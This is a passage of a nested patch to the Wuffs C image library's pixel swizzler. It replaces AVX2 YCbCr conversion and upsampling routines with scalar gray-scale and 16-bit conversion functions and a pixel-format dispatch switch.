dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // mix00 = [b00 g00 b02 g02 .. b0E g0E b10 g10 .. b1C g1C b1E g1E] +- // mix01 = [b01 g01 b03 g03 .. b0F g0F b11 g11 .. b1D g1D b1F g1F] +- // mix02 = [r00 % r02 % .. r0E % r10 % .. r1C % r1E %] +- // mix03 = [r01 % r03 % .. r0F % r11 % .. r1D % r1F %] +- // +- // See also § below. +- __m256i mix00 = _mm256_unpacklo_epi8(packed_b_eve, packed_g_eve); +- __m256i mix01 = _mm256_unpacklo_epi8(packed_b_odd, packed_g_odd); +- __m256i mix02 = _mm256_unpacklo_epi8(packed_r_eve, uFFFF); +- __m256i mix03 = _mm256_unpacklo_epi8(packed_r_odd, uFFFF); ++ while (n >= 1) { ++ uint32_t d0 = 0xFF000000 | (0x00010101 * ((uint32_t)(d[0]))); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ d[0] = wuffs_base__color_u32_argb_premul__as__color_u8_gray( ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +- // mix10 = [b00 g00 r00 % b02 g02 r02 % b04 g04 r04 % b06 g06 r06 % +- // b10 g10 r10 % b12 g12 r12 % b14 g14 r14 % b16 g16 r16 %] +- // mix11 = [b01 g01 r01 % b03 g03 r03 % b05 g05 r05 % b07 g07 r07 % +- // b11 g11 r11 % b13 g13 r13 % b15 g15 r15 % b17 g17 r17 %] +- // mix12 = [b08 g08 r08 % b0A g0A r0A % b0C g0C r0C % b0E g0E r0E % +- // b18 g18 r18 % b1A g1A r1A % b1C g1C r1C % b1E g1E r1E %] +- // mix13 = [b09 g09 r09 % b0B g0B r0B % b0D g0D r0D % b0F g0F r0F % +- // b19 g19 r19 % b1B g1B r1B % b1D g1D r1D % b1F g1F r1F %] +- __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); +- __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); +- __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); +- __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); ++ s += 1 * 4; ++ d += 1 * 1; ++ n -= 1; ++ } + +- // mix20 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % +- // b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 %] +- // mix21 = [b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 % +- // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] +- // mix22 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % +- // b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B %] +- // mix23 = [b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F % +- // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] +- __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); +- __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); +- __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); +- __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); ++ return len; ++} + +- // mix30 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % +- // b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 %] +- // mix31 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % +- // b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F %] +- // mix32 = [b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 % +- // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] +- // mix33 = [b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B % +- // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] +- __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); +- __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); +- __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); +- __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); ++static uint64_t // ++wuffs_private_impl__swizzle_y__bgrx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len < src_len4) ? dst_len : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // Write out four u8x32 SIMD registers (128 bytes, 32 BGRX/RGBX pixels). +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); ++ while (n >= 1) { ++ uint32_t s0 = ++ 0xFF000000 | wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ d[0] = wuffs_base__color_u32_argb_premul__as__color_u8_gray(s0); + +- // Advance by up to 32 pixels. The first iteration might be smaller than 32 +- // so that all of the remaining steps are exactly 32. +- uint32_t n = 32u - (31u & (x - x_end)); +- dst_iter += 4u * n; +- up0 += n; +- up1 += n; +- up2 += n; +- x += n; ++ s += 1 * 4; ++ d += 1 * 1; ++ n -= 1; + } ++ ++ return len; + } + +-// The rgbx flavor (below) is exactly the same as the bgrx flavor (above) +-// except for the lines marked with a § and that comments were stripped. +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx_x86_avx2( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- if ((x + 32u) > x_end) { +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx( // +- dst, x, x_end, y, up0, up1, up2); +- return; +- } ++static uint64_t // ++wuffs_private_impl__swizzle_y__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len < src_len2) ? dst_len : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- size_t dst_stride = dst->private_impl.planes[0].stride; +- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + +- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); ++ while (n >= 1) { ++ d[0] = s[0]; + +- const __m256i u0001 = _mm256_set1_epi16(+0x0001); +- const __m256i u00FF = _mm256_set1_epi16(+0x00FF); +- const __m256i uFF80 = _mm256_set1_epi16(-0x0080); +- const __m256i uFFFF = _mm256_set1_epi16(-0x0001); ++ s += 1 * 2; ++ d += 1 * 1; ++ n -= 1; ++ } + +- const __m256i p8000_p0000 = _mm256_set_epi16( // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000); ++ return len; ++} + +- const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); +- const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); +- const __m256i m581A_p492E = _mm256_set_epi16( // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A); ++static uint64_t // ++wuffs_private_impl__swizzle_y_16le__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- while (x < x_end) { +- __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); +- __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); +- __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); +- __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); +- __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); +- __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ d[0] = s1; ++ d[1] = s0; + +- __m256i tmp_by_eve = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), +- 1); +- __m256i tmp_by_odd = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), +- 1); +- __m256i tmp_ry_eve = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), +- 1); +- __m256i tmp_ry_odd = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), +- 1); ++ s += 1 * 2; ++ d += 1 * 2; ++ n -= 1; ++ } + +- __m256i by_eve = +- _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); +- __m256i by_odd = +- _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); +- __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); +- __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); ++ return len; ++} + +- __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // +- _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); +- __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // +- _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); +- __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // +- _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); +- __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // +- _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); ++// -------- + +- __m256i tmp1_gy_eve_lo = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); +- __m256i tmp1_gy_eve_hi = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); +- __m256i tmp1_gy_odd_lo = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); +- __m256i tmp1_gy_odd_hi = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); ++static uint64_t // ++wuffs_private_impl__swizzle_ya_nonpremul__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- __m256i gy_eve = _mm256_sub_epi16( +- _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); +- __m256i gy_odd = _mm256_sub_epi16( +- _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); ++ while (n >= 1) { ++ uint32_t d0 = ((uint32_t)(d[1]) << 24) | ((uint32_t)(d[0]) * 0x010101); ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ uint32_t c0 = ++ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)(c0 >> 16)); + +- __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); +- __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); +- __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); ++ s += 1 * 2; ++ d += 1 * 2; ++ n -= 1; ++ } + +- __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); +- __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); +- __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); +- __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); ++ return len; ++} + +- __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); +- __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); +- __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); +- __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); ++// -------- + +- __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); +- __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); +- __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); +- __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); ++static uint64_t // ++wuffs_private_impl__swizzle_transparent_black_src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ uint64_t num_pixels, ++ uint32_t dst_pixfmt_bytes_per_pixel) { ++ uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; ++ if (n > num_pixels) { ++ n = num_pixels; ++ } ++ memset(dst_ptr, 0, ((size_t)(n * dst_pixfmt_bytes_per_pixel))); ++ return n; ++} + +- // § Note the swapped B and R channels. +- __m256i mix00 = _mm256_unpacklo_epi8(packed_r_eve, packed_g_eve); +- __m256i mix01 = _mm256_unpacklo_epi8(packed_r_odd, packed_g_odd); +- __m256i mix02 = _mm256_unpacklo_epi8(packed_b_eve, uFFFF); +- __m256i mix03 = _mm256_unpacklo_epi8(packed_b_odd, uFFFF); ++static uint64_t // ++wuffs_private_impl__swizzle_transparent_black_src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ uint64_t num_pixels, ++ uint32_t dst_pixfmt_bytes_per_pixel) { ++ uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; ++ if (n > num_pixels) { ++ n = num_pixels; ++ } ++ return n; ++} + +- __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); +- __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); +- __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); +- __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); ++// -------- + +- __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); +- __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); +- __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); +- __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__y( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ return wuffs_private_impl__swizzle_copy_1_1; + +- __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); +- __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); +- __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); +- __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_bgr_565__y; + +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_xxx__y; + +- uint32_t n = 32u - (31u & (x - x_end)); +- dst_iter += 4u * n; +- up0 += n; +- up1 += n; +- up2 += n; +- x += n; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_xxxx__y__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_xxxx__y; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_xxxxxxxx__y; + } ++ return NULL; + } + +-#if defined(__GNUC__) && !defined(__clang__) +-// No-op. +-#else +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column, +- bool last_column) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp_major = src_ptr_major; +- const uint8_t* sp_minor = src_ptr_minor; +- +- if (first_column) { +- src_len--; +- if ((src_len <= 0u) && last_column) { +- uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // +- (4u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + 7u) >> 4u); +- return dst_ptr; +- } +- +- uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. +- uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. +- uint32_t sv_major_p1 = sp_major[+1]; +- uint32_t sv_minor_p1 = sp_minor[+1]; +- +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); +- if (src_len <= 0u) { +- return dst_ptr; +- } +- } +- +- if (last_column) { +- src_len--; +- } +- +- if (src_len < 32) { +- // This fallback is the same as the non-SIMD-capable code path. +- for (; src_len > 0u; src_len--) { +- uint32_t sv_major_m1 = sp_major[-1]; +- uint32_t sv_minor_m1 = sp_minor[-1]; +- uint32_t sv_major_p1 = sp_major[+1]; +- uint32_t sv_minor_p1 = sp_minor[+1]; +- +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); +- } +- +- } else { +- while (src_len > 0u) { +- // Load 1+32+1 samples (six u8x32 vectors) from the major (jxx) and minor +- // (nxx) rows. +- // +- // major_p0 = [j00 j01 j02 j03 .. j28 j29 j30 j31] // p0 = "plus 0" +- // minor_p0 = [n00 n01 n02 n03 .. n28 n29 n30 n31] // p0 = "plus 0" +- // major_m1 = [jm1 j00 j01 j02 .. j27 j28 j29 j30] // m1 = "minus 1" +- // minor_m1 = [nm1 n00 n01 n02 .. n27 n28 n29 n30] // m1 = "minus 1" +- // major_p1 = [j01 j02 j03 j04 .. j29 j30 j31 j32] // p1 = "plus 1" +- // minor_p1 = [n01 n02 n03 n04 .. n29 n30 n31 n32] // p1 = "plus 1" +- __m256i major_p0 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 0)); +- __m256i minor_p0 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 0)); +- __m256i major_m1 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major - 1)); +- __m256i minor_m1 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor - 1)); +- __m256i major_p1 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 1)); +- __m256i minor_p1 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 1)); +- +- // Unpack, staying with u8x32 vectors. +- // +- // step1_p0_lo = [j00 n00 j01 n01 .. j07 n07 j16 n16 j17 n17 .. j23 n23] +- // step1_p0_hi = [j08 n08 j09 n09 .. j15 n15 j24 n24 j25 n25 .. j31 n31] +- // step1_m1_lo = [jm1 nm1 j00 n00 .. j06 n06 j15 n15 j16 n16 .. j22 n22] +- // step1_m1_hi = [j07 n07 j08 n08 .. j14 n14 j23 n23 j24 n24 .. j30 n30] +- // step1_p1_lo = [j01 n01 j02 n02 .. j08 n08 j17 n17 j18 n18 .. j24 n24] +- // step1_p1_hi = [j09 n09 j10 n10 .. j16 n16 j25 n25 j26 n26 .. j32 n32] +- __m256i step1_p0_lo = _mm256_unpacklo_epi8(major_p0, minor_p0); +- __m256i step1_p0_hi = _mm256_unpackhi_epi8(major_p0, minor_p0); +- __m256i step1_m1_lo = _mm256_unpacklo_epi8(major_m1, minor_m1); +- __m256i step1_m1_hi = _mm256_unpackhi_epi8(major_m1, minor_m1); +- __m256i step1_p1_lo = _mm256_unpacklo_epi8(major_p1, minor_p1); +- __m256i step1_p1_hi = _mm256_unpackhi_epi8(major_p1, minor_p1); +- +- // Multiply-add to get u16x16 vectors. +- // +- // step2_p0_lo = [9*j00+3*n00 9*j01+3*n01 .. 9*j23+3*n23] +- // step2_p0_hi = [9*j08+3*n08 9*j09+3*n09 .. 9*j31+3*n31] +- // step2_m1_lo = [3*jm1+1*nm1 3*j00+1*n00 .. 3*j22+1*n22] +- // step2_m1_hi = [3*j07+1*n07 3*j08+1*n08 .. 3*j30+1*n30] +- // step2_p1_lo = [3*j01+1*n01 3*j02+1*n02 .. 3*j24+1*n24] +- // step2_p1_hi = [3*j09+1*n09 3*j10+1*n10 .. 3*j32+1*n32] +- const __m256i k0309 = _mm256_set1_epi16(0x0309); +- const __m256i k0103 = _mm256_set1_epi16(0x0103); +- __m256i step2_p0_lo = _mm256_maddubs_epi16(step1_p0_lo, k0309); +- __m256i step2_p0_hi = _mm256_maddubs_epi16(step1_p0_hi, k0309); +- __m256i step2_m1_lo = _mm256_maddubs_epi16(step1_m1_lo, k0103); +- __m256i step2_m1_hi = _mm256_maddubs_epi16(step1_m1_hi, k0103); +- __m256i step2_p1_lo = _mm256_maddubs_epi16(step1_p1_lo, k0103); +- __m256i step2_p1_hi = _mm256_maddubs_epi16(step1_p1_hi, k0103); +- +- // Compute the weighted sums of (p0, m1) and (p0, p1). For example: +- // +- // step3_m1_lo[00] = ((9*j00) + (3*n00) + (3*jm1) + (1*nm1)) as u16 +- // step3_p1_hi[15] = ((9*j31) + (3*n31) + (3*j32) + (1*n32)) as u16 +- __m256i step3_m1_lo = _mm256_add_epi16(step2_p0_lo, step2_m1_lo); +- __m256i step3_m1_hi = _mm256_add_epi16(step2_p0_hi, step2_m1_hi); +- __m256i step3_p1_lo = _mm256_add_epi16(step2_p0_lo, step2_p1_lo); +- __m256i step3_p1_hi = _mm256_add_epi16(step2_p0_hi, step2_p1_hi); ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__y_16be( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ return wuffs_private_impl__swizzle_y__y_16be; + +- // Bias by 8 (on the left) or 7 (on the right) and then divide by 16 +- // (which is 9+3+3+1) to get a weighted average. On the left (m1), shift +- // the u16 right value by 4. On the right (p1), shift right by 4 and then +- // shift left by 8 so that, when still in the u16x16 little-endian +- // interpretation, we have: +- // - m1_element = (etcetera + 8) >> 4 +- // - p1_element = ((etcetera + 7) >> 4) << 8 +- // +- // step4_m1_lo = [0x00?? 0x00?? ... 0x00?? 0x00??] +- // step4_p1_lo = [0x??00 0x??00 ... 0x??00 0x??00] +- // step4_m1_hi = [0x00?? 0x00?? ... 0x00?? 0x00??] +- // step4_p1_hi = [0x??00 0x??00 ... 0x??00 0x??00] +- __m256i step4_m1_lo = _mm256_srli_epi16( +- _mm256_add_epi16(step3_m1_lo, _mm256_set1_epi16(8)), 4); +- __m256i step4_p1_lo = _mm256_slli_epi16( +- _mm256_srli_epi16(_mm256_add_epi16(step3_p1_lo, _mm256_set1_epi16(7)), +- 4), +- 8); +- __m256i step4_m1_hi = _mm256_srli_epi16( +- _mm256_add_epi16(step3_m1_hi, _mm256_set1_epi16(8)), 4); +- __m256i step4_p1_hi = _mm256_slli_epi16( +- _mm256_srli_epi16(_mm256_add_epi16(step3_p1_hi, _mm256_set1_epi16(7)), +- 4), +- 8); ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: ++ return wuffs_private_impl__swizzle_y_16le__y_16be; + +- // Bitwise-or two "0x00"-rich u16x16 vectors to get a u8x32 vector. Do +- // that twice. Once for the low columns and once for the high columns. +- // +- // In terms of jxx (major row) or nxx (minor row) source samples: +- // - low columns means ( 0 .. 8; 16 .. 24). +- // - high columns means ( 8 .. 16; 24 .. 32). +- // +- // In terms of dxx destination samples (there are twice as many): +- // - low columns means ( 0 .. 16; 32 .. 48). +- // - high columns means (16 .. 32; 48 .. 64). +- // +- // step5_lo = [d00 d01 .. d14 d15 d32 d33 .. d46 d47] +- // step5_hi = [d16 d17 .. d30 d31 d48 d49 .. d62 d63] +- // +- // The d00, d02 ... d62 even elements come from (p0, m1) weighted sums. +- // The d01, d03 ... d63 odd elements come from (p0, p1) weighted sums. +- __m256i step5_lo = _mm256_or_si256(step4_m1_lo, step4_p1_lo); +- __m256i step5_hi = _mm256_or_si256(step4_m1_hi, step4_p1_hi); ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: ++ return wuffs_private_impl__swizzle_copy_2_2; + +- // Permute and store. +- // +- // step6_00_31 = [d00 d01 .. d14 d15 d16 d17 .. d30 d31] +- // step6_32_63 = [d32 d33 .. d46 d47 d48 d49 .. d62 d63] +- __m256i step6_00_31 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x20); +- __m256i step6_32_63 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x31); +- _mm256_storeu_si256((__m256i*)(void*)(dp + 0x00), step6_00_31); +- _mm256_storeu_si256((__m256i*)(void*)(dp + 0x20), step6_32_63); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_bgr_565__y_16be; + +- // Advance by up to 32 source samples (64 destination samples). The first +- // iteration might be smaller than 32 so that all of the remaining steps +- // are exactly 32. +- size_t n = 32u - (31u & (0u - src_len)); +- dp += 2u * n; +- sp_major += n; +- sp_minor += n; +- src_len -= n; +- } +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_xxx__y_16be; + +- if (last_column) { +- uint32_t sv_major_m1 = sp_major[-1]; +- uint32_t sv_minor_m1 = sp_minor[-1]; +- uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. +- uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case 